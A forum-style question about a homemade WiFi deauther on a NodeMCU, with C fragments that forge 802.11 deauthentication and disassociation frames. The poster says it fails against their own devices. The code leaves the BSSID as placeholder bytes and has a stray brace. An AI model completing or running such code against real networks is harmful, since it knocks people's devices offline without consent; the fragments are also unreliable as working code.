I am trying to implement a simple WiFi deauther using my nodemcu but i can't see any disconnection b/w AP(my android's hotspot) & Station ( my second android device) But when i am using a third party tool like Wi-PWN ( available on GitHub ) , is working.
So its clear that i am doing something wrong in Deauthentication process
Here is some parts of code
// Channel to perform deauth
uint8_t channel = 0;
// Packet buffer
uint8_t packet_buffer[128];
// DeAuth template
uint8_t template_da[26] = {
0xc0, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0x00, 0x00, 0x01,
0x00};
uint16_t create_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint8_t type)
{
int i = 0;
memcpy(buf, template_da, 26);
// Destination
memcpy(buf + 4, client, ETH_MAC_LEN);
// Sender
memcpy(buf + 10, ap, ETH_MAC_LEN);
buf[0] = type;
return 26;
}
/* Sends deauth packets. */
void deauth(uint8_t *c, uint8_t *ap, uint16_t seq)
{
uint8_t i = 0;
uint16_t sz = 0;
sz = create_packet(packet_buffer, c, ap, 0xc0); // 0xc0 for deauth
wifi_send_pkt_freedom(packet_buffer, sz, 0);
sz = create_packet(packet_buffer, c, ap, 0xa0); // xa0 for disassociation
wifi_send_pkt_freedom(packet_buffer, sz, 0);
delay(1);
}
}
Edit : I know the mac address of both AP & Station so there could be no mistake in filling mac while creating packet.